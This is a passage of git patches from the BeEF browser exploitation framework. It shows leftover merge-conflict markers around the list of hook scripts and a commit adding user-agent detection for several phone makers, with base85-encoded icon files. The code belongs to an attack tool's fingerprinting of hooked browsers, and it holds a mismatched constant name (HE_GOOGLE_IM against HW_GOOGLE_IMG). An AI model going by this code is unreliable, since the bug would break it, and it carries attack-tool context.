lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js websocket.js ) + + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) -======= - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) - else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) ->>>>>>> 123b81b2b47ce59c45d6e59e489b342b85a70a77 + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) + + end # @note construct the beefjs string from file(s) From 7686d55b4bddabdf7ff44bcf981c74b49687f09a Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 26 Jun 2012 18:52:03 +0930 Subject: [PATCH 028/225] Added hardware detection for HTC, Motorola, Google Nexus, Nokia, Sony Ericsson --- core/main/client/hardware.js | 37 +++++++++++++----- core/main/constants/hardware.rb | 26 +++++++++--- core/main/models/browserdetails.rb | 7 ++++ .../admin_ui/media/images/icons/htc.ico | Bin 0 -> 1150 bytes .../admin_ui/media/images/icons/motorola.png | Bin 0 -> 3686 bytes .../admin_ui/media/images/icons/nexus.png | Bin 0 -> 7504 bytes .../admin_ui/media/images/icons/nokia.ico | Bin 0 -> 1150 bytes .../media/images/icons/sony_ericsson.png | Bin 0 -> 4643 bytes 8 files changed, 55 insertions(+), 15 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/htc.ico create mode 100644 extensions/admin_ui/media/images/icons/motorola.png create mode 100644 extensions/admin_ui/media/images/icons/nexus.png create mode 100644 extensions/admin_ui/media/images/icons/nokia.ico create mode 100644 extensions/admin_ui/media/images/icons/sony_ericsson.png diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js index f498c53ac..3376aceea 100644 --- a/core/main/client/hardware.js +++ b/core/main/client/hardware.js @@ -49,25 +49,42 @@ beef.hardware = { return (this.ua.match('Kindle')) ? true : false; }, + isHtc: function() { + return (this.ua.match('HTC')) ? true : false; + }, + + isEricsson: function() { + return (this.ua.match('Ericsson')) ? true : false; + }, + + isNokia: function() { + return (this.ua.match('Nokia')) ? true : false; + }, + + isMotorola: function() { + return (this.ua.match('Motorola')) ? true : false; + }, + + isGoogle: function() { + return (this.ua.match('Nexus One')) ? true : false; + }, + getName: function() { - if(this.isNokia()) { - - if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; - if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; - if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; - - //return 'Nokia'; - } - + if (this.isNokia()) return 'Nokia'; if (this.isWinPhone()) return 'Windows Phone'; if (this.isBlackBerry()) return 'BlackBerry'; if (this.isIphone()) return 'iPhone'; if (this.isIpad()) return 'iPad'; if (this.isIpod()) return 'iPod'; if (this.isKindle()) return 'Kindle'; + if (this.isHtc()) return 'HTC'; + if (this.isMotorola()) return 'Motorola'; + if (this.isZune()) return 'Zune'; + if (this.isGoogle()) return 'Google'; + if (this.isEricsson()) return 'Ericsson'; - return 'unknown'; + return 'Unknown'; } }; diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb index 63958a210..12386ef78 100644 --- a/core/main/constants/hardware.rb +++ b/core/main/constants/hardware.rb @@ -30,15 +30,23 @@ module Constants HW_IPOD_IMG = 'ipod.jpg' HW_BLACKBERRY_UA_STR = 'BlackBerry' HW_BLACKBERRY_IMG = 'blackberry.png' - HW_ANDROID_UA_STR = 'Android' - HW_ANDROID_IMG = 'android.png' HW_WINPHONE_UA_STR = 'Windows Phone' HW_WINPHONE_IMG = 'win.png' HW_ZUNE_UA_STR = 'ZuneWP7' HW_ZUNE_IMG = 'zune.gif' HW_KINDLE_UA_STR = 'Kindle' HW_KINDLE_IMG = 'kindle.png' - HW_ALL_UA_STR = 'All' + HW_NOKIA_UA_STR = 'Nokia' + HW_NOKIA_IMG = 'nokia.ico' + HW_HTC_UA_STR = 'HTC' + HW_HTC_IMG = 'htc.ico' + HW_MOTOROLA_UA_STR = 'motorola' + HW_MOTOROLA_IMG = 'motorola.png' + HW_GOOGLE_UA_STR = 'Nexus One' + HE_GOOGLE_IM = 'nexus.png' + HW_ERICSSON_UA_STR = 'Ericsson' + HW_ERICSSON_IMG = 'sony_ericsson.png' + HW_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system @@ -53,14 +61,22 @@ module Constants HW_IPOD_UA_STR when /blackberry/ HW_BLACKBERRY_UA_STR - when /android/ - HW_ANDROID_UA_STR when /windows phone/ HW_WINPHONE_UA_STR when /zune/ HW_ZUNE_UA_STR when /kindle/ HW_KINDLE_UA_STR + when /nokia/ + HW_NOKIA_UA_STR + when /motorola/ + HW_MOTOROLA_UA_STR + when /htc/ + HW_HTC_UA_STR + when /google/ + HW_GOOGLE_UA_STR + when /ericsson/ + HW_ERICSSON_UA_STR else 'ALL' end diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index ae3868691..3ac2cd2af 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -118,9 +118,16 @@ module Models return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR + return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR + return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR + return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR + return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR + return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR + return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR + return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG diff --git a/extensions/admin_ui/media/images/icons/htc.ico b/extensions/admin_ui/media/images/icons/htc.ico new file mode 100644 index 0000000000000000000000000000000000000000..a4b722423faa4adf28197043c67f50455ca650ab GIT binary patch literal 1150 zcmZQzU<5(|0R|wcz>vYhz#zuJz@P!dKp~(AL>x%r1UK$I_)iW78Ay)4Q9YR9ZN8@w z9tXJCpl}1p!7y?-;?jdl99b{ST$mUxJ;>rPwJ;ha2g5M)V0;*jE)LTR6G!Hg$_Cj% Ys-EGXo{~HW(%Zne#*u-6JPgtc06@2SQ~&?~ literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/motorola.png b/extensions/admin_ui/media/images/icons/motorola.png new file mode 100644 index 0000000000000000000000000000000000000000..fee6d6e654c6a3aa9afd27a2482037521835c958 GIT binary patch literal 3686 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 r>t!xJIHWR|5u3GA8^ZkD8oY~zo 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 literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/sony_ericsson.png b/extensions/admin_ui/media/images/icons/sony_ericsson.png new file mode 100644 index 0000000000000000000000000000000000000000..1dab4a8d22933dfd98c9440fe9913949378da4e9 GIT binary patch literal 4643 zcmV+;65Q>HP)LM|wW1NM3@H|Z)dAeguZ@TZEbN19f z&bja2N5YK%bg#A7KIabS{yyjX`~CKB?{ft&Q`@s=&r%_RR|vsbNU=x=u>dbRg`k8K zLLzEjFb-ljf+wY5lUM5DzRu1aFURkTm-6K&pM0{{IQOPdMQ;eB;7loH6(JCLhkO(Q zA&&QRe!_e4GvIb#4DT3dYdiE}ZFx~3zy9^F=Xs&t9|qyuqbL}NqKGgE2~6gXoq*i;;Dbv-A+L*~!Ue@bfzE0>RyejE*v5~4`%@m+@i03^_fe})fJvKQQ~~q5 zhWN|ZT*+l;{4sT%%z*feq5%N;=)FgHw;@pSecj#NdtWw?yEkq;PpR-5g)kiIsJ4R= z+`D}fH$L$1Y~A??I15n;lmekzt}L?AB#0p7hgW@r^H-k5v`)wgW(=PV0t`BUu>)wl<6F&^38fq`MvGu?L*oIfxyu=#lQ9ydmAyX^;kqTn}Gip9l+ zLc~Aa`6cdt=ng1Wp`!yT6>tumV`2Y7ZhH5pdF;q`HXOK*a%UAC32NRlX*82ob10dn z>Wkce-e>5qbYZiki*s&vw>FQBJVu(a(m38OygPGfXz0lEQpAv4UzCN#Q5bRkT{m#| z#_z(ME*KhwQZWl|>o}pmhu5FAp0y{fpgI=vc=$Mp^-SsnV;!l3#DcJft5#jayh=B9 zXJ!<6p-sRt>-Ylj_UBaOYq#9?#xMxK)7jR^JzMVPi{H8idV65`B8Va|hA0YosoE?&I&htH_U_1Ay9>Rj>xT!?MziXV%=(d6oIvLb#?I9uR51?gUcw$ zDq*oeY7>g_D2MBZ`0=j0m`LkXRDqgJX%EYM_{6s}ztl(FB+WDnS!!wk8C|DRH*sTP$Vv|}J1hl)Kq{mVcn{iYj4`u} z_cTix=d$jdTSE}M64*Ek#Ay50Kn0{}o$X=_mMlRQLL8nIogJ*}ol8w?%1V>in8|b! z=PWf{BXJ4ZX;QE8zyK%)mr4pr9gZrq14@!;DUip^yxA_R`Zf zhtz1|G|A&61G3g(ot;tArtVF%Kt6H(^;Ms8u6G`7G!sKT1XWK_C;}x}-`kCLmP8n8 zW}2~h6z4sWib!q3STe?VI*#*_^X8t*vg%S2o6xAW#EhqV3Nj>8A&-we#rL1MpSyp% zi6{5$VC={!YTD4>K9@f_^=$s^58lf1z6DIhSv(&z=QxLP`qdjZ?kt{r?xHvVP}6#q z57a#C9L1o(K<6MMYJ`%C7$`=xg_0?wQ9=>u7&yYTsT0Tm?KI=*I0aEcL2c$H98Rgsd92YD%zzpG0}+Bk}MEA%@=oW;0xRC;K1;1hy?^?PzjKNH(BKz z1t3d|PL6WbZGX?`)EFN)=TDio8H}+eA1%(gK>Kv<42ZMt#D-k4H!RWZyiPA+W7|_$ zkuYw-Bk;nLdPB`CN+P09^s+Qs!az8Hu##BE1VJ#Pg3MLeGP#RSZu>XxIrs>q9%K<* zniZACHw#P}H5Q-(C`Nqht{XU^bAUfQ@eJxF#u}R`l8@T>6K7(?dbiLzM_@h9I%1_+ zSL>tSSJ+qPLmc>{D$U|EjJC5w;&c`?LhLvYytif7?F}Zsg+tmVME5dm8 